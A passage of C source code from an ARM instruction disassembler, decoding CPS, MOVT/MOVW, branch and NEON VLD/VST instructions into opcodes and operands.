// nothing useful we could do even if we returned UNPREDICTABLE.
if (imod == 1) return MCDisassembler_Fail;
if (imod && M) {
MCInst_setOpcode(Inst, ARM_CPS3p);
MCOperand_CreateImm0(Inst, imod);
MCOperand_CreateImm0(Inst, iflags);
MCOperand_CreateImm0(Inst, mode);
} else if (imod && !M) {
MCInst_setOpcode(Inst, ARM_CPS2p);
MCOperand_CreateImm0(Inst, imod);
MCOperand_CreateImm0(Inst, iflags);
if (mode) S = MCDisassembler_SoftFail;
} else if (!imod && M) {
MCInst_setOpcode(Inst, ARM_CPS1p);
MCOperand_CreateImm0(Inst, mode);
if (iflags) S = MCDisassembler_SoftFail;
} else {
// imod == '00' && M == '0' --> UNPREDICTABLE
MCInst_setOpcode(Inst, ARM_CPS1p);
MCOperand_CreateImm0(Inst, mode);
S = MCDisassembler_SoftFail;
}
return S;
}
static DecodeStatus DecodeT2CPSInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
unsigned imod = fieldFromInstruction_4(Insn, 9, 2);
unsigned M = fieldFromInstruction_4(Insn, 8, 1);
unsigned iflags = fieldFromInstruction_4(Insn, 5, 3);
unsigned mode = fieldFromInstruction_4(Insn, 0, 5);
DecodeStatus S = MCDisassembler_Success;
// imod == '01' --> UNPREDICTABLE
// NOTE: Even though this is technically UNPREDICTABLE, we choose to
// return failure here. The '01' imod value is unprintable, so there's
// nothing useful we could do even if we returned UNPREDICTABLE.
if (imod == 1) return MCDisassembler_Fail;
if (imod && M) {
MCInst_setOpcode(Inst, ARM_t2CPS3p);
MCOperand_CreateImm0(Inst, imod);
MCOperand_CreateImm0(Inst, iflags);
MCOperand_CreateImm0(Inst, mode);
} else if (imod && !M) {
MCInst_setOpcode(Inst, ARM_t2CPS2p);
MCOperand_CreateImm0(Inst, imod);
MCOperand_CreateImm0(Inst, iflags);
if (mode) S = MCDisassembler_SoftFail;
} else if (!imod && M) {
MCInst_setOpcode(Inst, ARM_t2CPS1p);
MCOperand_CreateImm0(Inst, mode);
if (iflags) S = MCDisassembler_SoftFail;
} else {
// imod == '00' && M == '0' --> this is a HINT instruction
int imm = fieldFromInstruction_4(Insn, 0, 8);
// HINT are defined only for immediate in [0..4]
if(imm > 4) return MCDisassembler_Fail;
MCInst_setOpcode(Inst, ARM_t2HINT);
MCOperand_CreateImm0(Inst, imm);
}
return S;
}
static DecodeStatus DecodeT2MOVTWInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rd = fieldFromInstruction_4(Insn, 8, 4);
unsigned imm = 0;
imm |= (fieldFromInstruction_4(Insn, 0, 8) << 0);
imm |= (fieldFromInstruction_4(Insn, 12, 3) << 8);
imm |= (fieldFromInstruction_4(Insn, 16, 4) << 12);
imm |= (fieldFromInstruction_4(Insn, 26, 1) << 11);
if (MCInst_getOpcode(Inst) == ARM_t2MOVTi16)
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, imm);
return S;
}
static DecodeStatus DecodeArmMOVTWInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
unsigned imm = 0;
imm |= (fieldFromInstruction_4(Insn, 0, 12) << 0);
imm |= (fieldFromInstruction_4(Insn, 16, 4) << 12);
if (MCInst_getOpcode(Inst) == ARM_MOVTi16)
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, imm);
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeSMLAInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rd = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 8, 4);
unsigned Ra = fieldFromInstruction_4(Insn, 12, 4);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
if (pred == 0xF)
return DecodeCPSInstruction(Inst, Insn, Address, Decoder);
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Ra, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeAddrModeImm12Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned add = fieldFromInstruction_4(Val, 12, 1);
unsigned imm = fieldFromInstruction_4(Val, 0, 12);
unsigned Rn = fieldFromInstruction_4(Val, 13, 4);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!add) imm *= (unsigned int)-1;
if (imm == 0 && !add) imm = (unsigned int)INT32_MIN;
MCOperand_CreateImm0(Inst, imm);
//if (Rn == 15)
// tryAddingPcLoadReferenceComment(Address, Address + imm + 8, Decoder);
return S;
}
static DecodeStatus DecodeAddrMode5Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Val, 9, 4);
unsigned U = fieldFromInstruction_4(Val, 8, 1);
unsigned imm = fieldFromInstruction_4(Val, 0, 8);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (U)
MCOperand_CreateImm0(Inst, ARM_AM_getAM5Opc(ARM_AM_add, (unsigned char)imm));
else
MCOperand_CreateImm0(Inst, ARM_AM_getAM5Opc(ARM_AM_sub, (unsigned char)imm));
return S;
}
static DecodeStatus DecodeAddrMode7Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
return DecodeGPRRegisterClass(Inst, Val, Address, Decoder);
}
static DecodeStatus DecodeT2BInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus Status = MCDisassembler_Success;
// Note the J1 and J2 values are from the encoded instruction. So here
// change them to I1 and I2 values via as documented:
// I1 = NOT(J1 EOR S);
// I2 = NOT(J2 EOR S);
// and build the imm32 with one trailing zero as documented:
// imm32 = SignExtend(S:I1:I2:imm10:imm11:'0', 32);
unsigned S = fieldFromInstruction_4(Insn, 26, 1);
unsigned J1 = fieldFromInstruction_4(Insn, 13, 1);
unsigned J2 = fieldFromInstruction_4(Insn, 11, 1);
unsigned I1 = !(J1 ^ S);
unsigned I2 = !(J2 ^ S);
unsigned imm10 = fieldFromInstruction_4(Insn, 16, 10);
unsigned imm11 = fieldFromInstruction_4(Insn, 0, 11);
unsigned tmp = (S << 23) | (I1 << 22) | (I2 << 21) | (imm10 << 11) | imm11;
int imm32 = SignExtend32(tmp << 1, 25);
MCOperand_CreateImm0(Inst, imm32);
return Status;
}
static DecodeStatus DecodeBranchImmInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 24) << 2;
if (pred == 0xF) {
MCInst_setOpcode(Inst, ARM_BLXi);
imm |= fieldFromInstruction_4(Insn, 24, 1) << 1;
MCOperand_CreateImm0(Inst, SignExtend32(imm, 26));
return S;
}
MCOperand_CreateImm0(Inst, SignExtend32(imm, 26));
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeAddrMode6Operand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rm = fieldFromInstruction_4(Val, 0, 4);
unsigned align = fieldFromInstruction_4(Val, 4, 2);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
if (!align)
MCOperand_CreateImm0(Inst, 0);
else
MCOperand_CreateImm0(Inst, 4 << align);
return S;
}
static DecodeStatus DecodeVLDInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned wb, Rn, Rm;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
wb = fieldFromInstruction_4(Insn, 16, 4);
Rn = fieldFromInstruction_4(Insn, 16, 4);
Rn |= fieldFromInstruction_4(Insn, 4, 2) << 4;
Rm = fieldFromInstruction_4(Insn, 0, 4);
// First output register
switch (MCInst_getOpcode(Inst)) {
case ARM_VLD1q16: case ARM_VLD1q32: case ARM_VLD1q64: case ARM_VLD1q8:
case ARM_VLD1q16wb_fixed: case ARM_VLD1q16wb_register:
case ARM_VLD1q32wb_fixed: case ARM_VLD1q32wb_register:
case ARM_VLD1q64wb_fixed: case ARM_VLD1q64wb_register:
case ARM_VLD1q8wb_fixed: case ARM_VLD1q8wb_register:
case ARM_VLD2d16: case ARM_VLD2d32: case ARM_VLD2d8:
case ARM_VLD2d16wb_fixed: case ARM_VLD2d16wb_register:
case ARM_VLD2d32wb_fixed: case ARM_VLD2d32wb_register:
case ARM_VLD2d8wb_fixed: case ARM_VLD2d8wb_register:
if (!Check(&S, DecodeDPairRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VLD2b16:
case ARM_VLD2b32:
case ARM_VLD2b8:
case ARM_VLD2b16wb_fixed:
case ARM_VLD2b16wb_register:
case ARM_VLD2b32wb_fixed:
case ARM_VLD2b32wb_register:
case ARM_VLD2b8wb_fixed:
case ARM_VLD2b8wb_register:
if (!Check(&S, DecodeDPairSpacedRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
}
// Second output register
switch (MCInst_getOpcode(Inst)) {
case ARM_VLD3d8:
case ARM_VLD3d16:
case ARM_VLD3d32:
case ARM_VLD3d8_UPD:
case ARM_VLD3d16_UPD:
case ARM_VLD3d32_UPD:
case ARM_VLD4d8:
case ARM_VLD4d16:
case ARM_VLD4d32:
case ARM_VLD4d8_UPD:
case ARM_VLD4d16_UPD:
case ARM_VLD4d32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+1)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VLD3q8:
case ARM_VLD3q16:
case ARM_VLD3q32:
case ARM_VLD3q8_UPD:
case ARM_VLD3q16_UPD:
case ARM_VLD3q32_UPD:
case ARM_VLD4q8:
case ARM_VLD4q16:
case ARM_VLD4q32:
case ARM_VLD4q8_UPD:
case ARM_VLD4q16_UPD:
case ARM_VLD4q32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+2)%32, Address, Decoder)))
return MCDisassembler_Fail;
default:
break;
}
// Third output register
switch(MCInst_getOpcode(Inst)) {
case ARM_VLD3d8:
case ARM_VLD3d16:
case ARM_VLD3d32:
case ARM_VLD3d8_UPD:
case ARM_VLD3d16_UPD:
case ARM_VLD3d32_UPD:
case ARM_VLD4d8:
case ARM_VLD4d16:
case ARM_VLD4d32:
case ARM_VLD4d8_UPD:
case ARM_VLD4d16_UPD:
case ARM_VLD4d32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+2)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VLD3q8:
case ARM_VLD3q16:
case ARM_VLD3q32:
case ARM_VLD3q8_UPD:
case ARM_VLD3q16_UPD:
case ARM_VLD3q32_UPD:
case ARM_VLD4q8:
case ARM_VLD4q16:
case ARM_VLD4q32:
case ARM_VLD4q8_UPD:
case ARM_VLD4q16_UPD:
case ARM_VLD4q32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+4)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
// Fourth output register
switch (MCInst_getOpcode(Inst)) {
case ARM_VLD4d8:
case ARM_VLD4d16:
case ARM_VLD4d32:
case ARM_VLD4d8_UPD:
case ARM_VLD4d16_UPD:
case ARM_VLD4d32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+3)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VLD4q8:
case ARM_VLD4q16:
case ARM_VLD4q32:
case ARM_VLD4q8_UPD:
case ARM_VLD4q16_UPD:
case ARM_VLD4q32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+6)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
// Writeback operand
switch (MCInst_getOpcode(Inst)) {
case ARM_VLD1d8wb_fixed:
case ARM_VLD1d16wb_fixed:
case ARM_VLD1d32wb_fixed:
case ARM_VLD1d64wb_fixed:
case ARM_VLD1d8wb_register:
case ARM_VLD1d16wb_register:
case ARM_VLD1d32wb_register:
case ARM_VLD1d64wb_register:
case ARM_VLD1q8wb_fixed:
case ARM_VLD1q16wb_fixed:
case ARM_VLD1q32wb_fixed:
case ARM_VLD1q64wb_fixed:
case ARM_VLD1q8wb_register:
case ARM_VLD1q16wb_register:
case ARM_VLD1q32wb_register:
case ARM_VLD1q64wb_register:
case ARM_VLD1d8Twb_fixed:
case ARM_VLD1d8Twb_register:
case ARM_VLD1d16Twb_fixed:
case ARM_VLD1d16Twb_register:
case ARM_VLD1d32Twb_fixed:
case ARM_VLD1d32Twb_register:
case ARM_VLD1d64Twb_fixed:
case ARM_VLD1d64Twb_register:
case ARM_VLD1d8Qwb_fixed:
case ARM_VLD1d8Qwb_register:
case ARM_VLD1d16Qwb_fixed:
case ARM_VLD1d16Qwb_register:
case ARM_VLD1d32Qwb_fixed:
case ARM_VLD1d32Qwb_register:
case ARM_VLD1d64Qwb_fixed:
case ARM_VLD1d64Qwb_register:
case ARM_VLD2d8wb_fixed:
case ARM_VLD2d16wb_fixed:
case ARM_VLD2d32wb_fixed:
case ARM_VLD2q8wb_fixed:
case ARM_VLD2q16wb_fixed:
case ARM_VLD2q32wb_fixed:
case ARM_VLD2d8wb_register:
case ARM_VLD2d16wb_register:
case ARM_VLD2d32wb_register:
case ARM_VLD2q8wb_register:
case ARM_VLD2q16wb_register:
case ARM_VLD2q32wb_register:
case ARM_VLD2b8wb_fixed:
case ARM_VLD2b16wb_fixed:
case ARM_VLD2b32wb_fixed:
case ARM_VLD2b8wb_register:
case ARM_VLD2b16wb_register:
case ARM_VLD2b32wb_register:
MCOperand_CreateImm0(Inst, 0);
break;
case ARM_VLD3d8_UPD:
case ARM_VLD3d16_UPD:
case ARM_VLD3d32_UPD:
case ARM_VLD3q8_UPD:
case ARM_VLD3q16_UPD:
case ARM_VLD3q32_UPD:
case ARM_VLD4d8_UPD:
case ARM_VLD4d16_UPD:
case ARM_VLD4d32_UPD:
case ARM_VLD4q8_UPD:
case ARM_VLD4q16_UPD:
case ARM_VLD4q32_UPD:
if (!Check(&S, DecodeGPRRegisterClass(Inst, wb, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
// AddrMode6 Base (register+alignment)
if (!Check(&S, DecodeAddrMode6Operand(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
// AddrMode6 Offset (register)
switch (MCInst_getOpcode(Inst)) {
default:
// The below have been updated to have explicit am6offset split
// between fixed and register offset. For those instructions not
// yet updated, we need to add an additional reg0 operand for the
// fixed variant.
//
// The fixed offset encodes as Rm == 0xd, so we check for that.
if (Rm == 0xd) {
MCOperand_CreateReg0(Inst, 0);
break;
}
// Fall through to handle the register offset variant.
case ARM_VLD1d8wb_fixed:
case ARM_VLD1d16wb_fixed:
case ARM_VLD1d32wb_fixed:
case ARM_VLD1d64wb_fixed:
case ARM_VLD1d8Twb_fixed:
case ARM_VLD1d16Twb_fixed:
case ARM_VLD1d32Twb_fixed:
case ARM_VLD1d64Twb_fixed:
case ARM_VLD1d8Qwb_fixed:
case ARM_VLD1d16Qwb_fixed:
case ARM_VLD1d32Qwb_fixed:
case ARM_VLD1d64Qwb_fixed:
case ARM_VLD1d8wb_register:
case ARM_VLD1d16wb_register:
case ARM_VLD1d32wb_register:
case ARM_VLD1d64wb_register:
case ARM_VLD1q8wb_fixed:
case ARM_VLD1q16wb_fixed:
case ARM_VLD1q32wb_fixed:
case ARM_VLD1q64wb_fixed:
case ARM_VLD1q8wb_register:
case ARM_VLD1q16wb_register:
case ARM_VLD1q32wb_register:
case ARM_VLD1q64wb_register:
// The fixed offset post-increment encodes Rm == 0xd. The no-writeback
// variant encodes Rm == 0xf. Anything else is a register offset post-
// increment and we need to add the register operand to the instruction.
if (Rm != 0xD && Rm != 0xF &&
!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VLD2d8wb_fixed:
case ARM_VLD2d16wb_fixed:
case ARM_VLD2d32wb_fixed:
case ARM_VLD2b8wb_fixed:
case ARM_VLD2b16wb_fixed:
case ARM_VLD2b32wb_fixed:
case ARM_VLD2q8wb_fixed:
case ARM_VLD2q16wb_fixed:
case ARM_VLD2q32wb_fixed:
break;
}
return S;
}
static DecodeStatus DecodeVLDST1Instruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
unsigned load;
unsigned type = fieldFromInstruction_4(Insn, 8, 4);
unsigned align = fieldFromInstruction_4(Insn, 4, 2);
if (type == 6 && (align & 2)) return MCDisassembler_Fail;
if (type == 7 && (align & 2)) return MCDisassembler_Fail;
if (type == 10 && align == 3) return MCDisassembler_Fail;
load = fieldFromInstruction_4(Insn, 21, 1);
return load ? DecodeVLDInstruction(Inst, Insn, Address, Decoder)
: DecodeVSTInstruction(Inst, Insn, Address, Decoder);
}
static DecodeStatus DecodeVLDST2Instruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
unsigned type, align, load;
unsigned size = fieldFromInstruction_4(Insn, 6, 2);
if (size == 3) return MCDisassembler_Fail;
type = fieldFromInstruction_4(Insn, 8, 4);
align = fieldFromInstruction_4(Insn, 4, 2);
if (type == 8 && align == 3) return MCDisassembler_Fail;
if (type == 9 && align == 3) return MCDisassembler_Fail;
load = fieldFromInstruction_4(Insn, 21, 1);
return load ? DecodeVLDInstruction(Inst, Insn, Address, Decoder)
: DecodeVSTInstruction(Inst, Insn, Address, Decoder);
}
static DecodeStatus DecodeVLDST3Instruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
unsigned align, load;
unsigned size = fieldFromInstruction_4(Insn, 6, 2);
if (size == 3) return MCDisassembler_Fail;
align = fieldFromInstruction_4(Insn, 4, 2);
if (align & 2) return MCDisassembler_Fail;
load = fieldFromInstruction_4(Insn, 21, 1);
return load ? DecodeVLDInstruction(Inst, Insn, Address, Decoder)
: DecodeVSTInstruction(Inst, Insn, Address, Decoder);
}
static DecodeStatus DecodeVLDST4Instruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
unsigned load;
unsigned size = fieldFromInstruction_4(Insn, 6, 2);
if (size == 3) return MCDisassembler_Fail;
load = fieldFromInstruction_4(Insn, 21, 1);
return load ? DecodeVLDInstruction(Inst, Insn, Address, Decoder)
: DecodeVSTInstruction(Inst, Insn, Address, Decoder);
}
static DecodeStatus DecodeVSTInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned wb, Rn, Rm;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
wb = fieldFromInstruction_4(Insn, 16, 4);
Rn = fieldFromInstruction_4(Insn, 16, 4);
Rn |= fieldFromInstruction_4(Insn, 4, 2) << 4;
Rm = fieldFromInstruction_4(Insn, 0, 4);
// Writeback Operand
switch (MCInst_getOpcode(Inst)) {
case ARM_VST1d8wb_fixed:
case ARM_VST1d16wb_fixed:
case ARM_VST1d32wb_fixed:
case ARM_VST1d64wb_fixed:
case ARM_VST1d8wb_register:
case ARM_VST1d16wb_register:
case ARM_VST1d32wb_register:
case ARM_VST1d64wb_register:
case ARM_VST1q8wb_fixed:
case ARM_VST1q16wb_fixed:
case ARM_VST1q32wb_fixed:
case ARM_VST1q64wb_fixed:
case ARM_VST1q8wb_register:
case ARM_VST1q16wb_register:
case ARM_VST1q32wb_register:
case ARM_VST1q64wb_register:
case ARM_VST1d8Twb_fixed:
case ARM_VST1d16Twb_fixed:
case ARM_VST1d32Twb_fixed:
case ARM_VST1d64Twb_fixed:
case ARM_VST1d8Twb_register:
case ARM_VST1d16Twb_register:
case ARM_VST1d32Twb_register:
case ARM_VST1d64Twb_register:
case ARM_VST1d8Qwb_fixed:
case ARM_VST1d16Qwb_fixed:
case ARM_VST1d32Qwb_fixed:
case ARM_VST1d64Qwb_fixed:
case ARM_VST1d8Qwb_register:
case ARM_VST1d16Qwb_register:
case ARM_VST1d32Qwb_register:
case ARM_VST1d64Qwb_register:
case ARM_VST2d8wb_fixed:
case ARM_VST2d16wb_fixed:
case ARM_VST2d32wb_fixed:
case ARM_VST2d8wb_register:
case ARM_VST2d16wb_register:
case ARM_VST2d32wb_register:
case ARM_VST2q8wb_fixed:
case ARM_VST2q16wb_fixed:
case ARM_VST2q32wb_fixed:
case ARM_VST2q8wb_register:
case ARM_VST2q16wb_register:
case ARM_VST2q32wb_register:
case ARM_VST2b8wb_fixed:
case ARM_VST2b16wb_fixed:
case ARM_VST2b32wb_fixed:
case ARM_VST2b8wb_register:
case ARM_VST2b16wb_register:
case ARM_VST2b32wb_register:
if (Rm == 0xF)
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, 0);
break;
case ARM_VST3d8_UPD:
case ARM_VST3d16_UPD:
case ARM_VST3d32_UPD:
case ARM_VST3q8_UPD:
case ARM_VST3q16_UPD:
case ARM_VST3q32_UPD:
case ARM_VST4d8_UPD:
case ARM_VST4d16_UPD:
case ARM_VST4d32_UPD:
case ARM_VST4q8_UPD:
case ARM_VST4q16_UPD:
case ARM_VST4q32_UPD:
if (!Check(&S, DecodeGPRRegisterClass(Inst, wb, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
// AddrMode6 Base (register+alignment)
if (!Check(&S, DecodeAddrMode6Operand(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
// AddrMode6 Offset (register)
switch (MCInst_getOpcode(Inst)) {
default:
if (Rm == 0xD)
MCOperand_CreateReg0(Inst, 0);
else if (Rm != 0xF) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
}
break;
case ARM_VST1d8wb_fixed:
case ARM_VST1d16wb_fixed:
case ARM_VST1d32wb_fixed:
case ARM_VST1d64wb_fixed:
case ARM_VST1q8wb_fixed:
case ARM_VST1q16wb_fixed:
case ARM_VST1q32wb_fixed:
case ARM_VST1q64wb_fixed:
case ARM_VST1d8Twb_fixed:
case ARM_VST1d16Twb_fixed:
case ARM_VST1d32Twb_fixed:
case ARM_VST1d64Twb_fixed:
case ARM_VST1d8Qwb_fixed:
case ARM_VST1d16Qwb_fixed:
case ARM_VST1d32Qwb_fixed:
case ARM_VST1d64Qwb_fixed:
case ARM_VST2d8wb_fixed:
case ARM_VST2d16wb_fixed:
case ARM_VST2d32wb_fixed:
case ARM_VST2q8wb_fixed:
case ARM_VST2q16wb_fixed:
case ARM_VST2q32wb_fixed:
case ARM_VST2b8wb_fixed:
case ARM_VST2b16wb_fixed:
case ARM_VST2b32wb_fixed:
break;
}
// First input register
switch (MCInst_getOpcode(Inst)) {
case ARM_VST1q16:
case ARM_VST1q32:
case ARM_VST1q64:
case ARM_VST1q8:
case ARM_VST1q16wb_fixed:
case ARM_VST1q16wb_register:
case ARM_VST1q32wb_fixed:
case ARM_VST1q32wb_register:
case ARM_VST1q64wb_fixed:
case ARM_VST1q64wb_register:
case ARM_VST1q8wb_fixed:
case ARM_VST1q8wb_register:
case ARM_VST2d16:
case ARM_VST2d32:
case ARM_VST2d8:
case ARM_VST2d16wb_fixed:
case ARM_VST2d16wb_register:
case ARM_VST2d32wb_fixed:
case ARM_VST2d32wb_register:
case ARM_VST2d8wb_fixed:
case ARM_VST2d8wb_register:
if (!Check(&S, DecodeDPairRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VST2b16:
case ARM_VST2b32:
case ARM_VST2b8:
case ARM_VST2b16wb_fixed:
case ARM_VST2b16wb_register:
case ARM_VST2b32wb_fixed:
case ARM_VST2b32wb_register:
case ARM_VST2b8wb_fixed:
case ARM_VST2b8wb_register:
if (!Check(&S, DecodeDPairSpacedRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
}
// Second input register
switch (MCInst_getOpcode(Inst)) {
case ARM_VST3d8:
case ARM_VST3d16:
case ARM_VST3d32:
case ARM_VST3d8_UPD:
case ARM_VST3d16_UPD:
case ARM_VST3d32_UPD:
case ARM_VST4d8:
case ARM_VST4d16:
case ARM_VST4d32:
case ARM_VST4d8_UPD:
case ARM_VST4d16_UPD:
case ARM_VST4d32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+1)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VST3q8:
case ARM_VST3q16:
case ARM_VST3q32:
case ARM_VST3q8_UPD:
case ARM_VST3q16_UPD:
case ARM_VST3q32_UPD:
case ARM_VST4q8:
case ARM_VST4q16:
case ARM_VST4q32:
case ARM_VST4q8_UPD:
case ARM_VST4q16_UPD:
case ARM_VST4q32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+2)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
// Third input register
switch (MCInst_getOpcode(Inst)) {
case ARM_VST3d8:
case ARM_VST3d16:
case ARM_VST3d32:
case ARM_VST3d8_UPD:
case ARM_VST3d16_UPD:
case ARM_VST3d32_UPD:
case ARM_VST4d8:
case ARM_VST4d16:
case ARM_VST4d32:
case ARM_VST4d8_UPD:
case ARM_VST4d16_UPD:
case ARM_VST4d32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+2)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VST3q8:
case ARM_VST3q16:
case ARM_VST3q32:
case ARM_VST3q8_UPD:
case ARM_VST3q16_UPD:
case ARM_VST3q32_UPD:
case ARM_VST4q8:
case ARM_VST4q16:
case ARM_VST4q32:
case ARM_VST4q8_UPD:
case ARM_VST4q16_UPD:
case ARM_VST4q32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+4)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
// Fourth input register
switch (MCInst_getOpcode(Inst)) {
case ARM_VST4d8:
case ARM_VST4d16:
case ARM_VST4d32:
case ARM_VST4d8_UPD:
case ARM_VST4d16_UPD:
case ARM_VST4d32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+3)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
case ARM_VST4q8:
case ARM_VST4q16:
case ARM_VST4q32:
case ARM_VST4q8_UPD:
case ARM_VST4q16_UPD:
case ARM_VST4q32_UPD:
if (!Check(&S, DecodeDPRRegisterClass(Inst, (Rd+6)%32, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
return S;
}
static DecodeStatus DecodeVLD1DupInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn, Rm, align, size;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
Rd |= fieldFromInstruction_4(Insn, 22, 1) << 4;
Rn = fieldFromInstruction_4(Insn, 16, 4);
Rm = fieldFromInstruction_4(Insn, 0, 4);
align = fieldFromInstruction_4(Insn, 4, 1);
size = fieldFromInstruction_4(Insn, 6, 2);
if (size == 0 && align == 1)
return MCDisassembler_Fail;
align *= (1 << size);
switch (MCInst_getOpcode(Inst)) {
case ARM_VLD1DUPq16: case ARM_VLD1DUPq32: case ARM_VLD1DUPq8:
case ARM_VLD1DUPq16wb_fixed: case ARM_VLD1DUPq16wb_register:
case ARM_VLD1DUPq32wb_fixed: case ARM_VLD1DUPq32wb_register:
case ARM_VLD1DUPq8wb_fixed: case ARM_VLD1DUPq8wb_register:
if (!Check(&S, DecodeDPairRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
if (!Check(&S, DecodeDPRRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
break;
}
if (Rm != 0xF) {
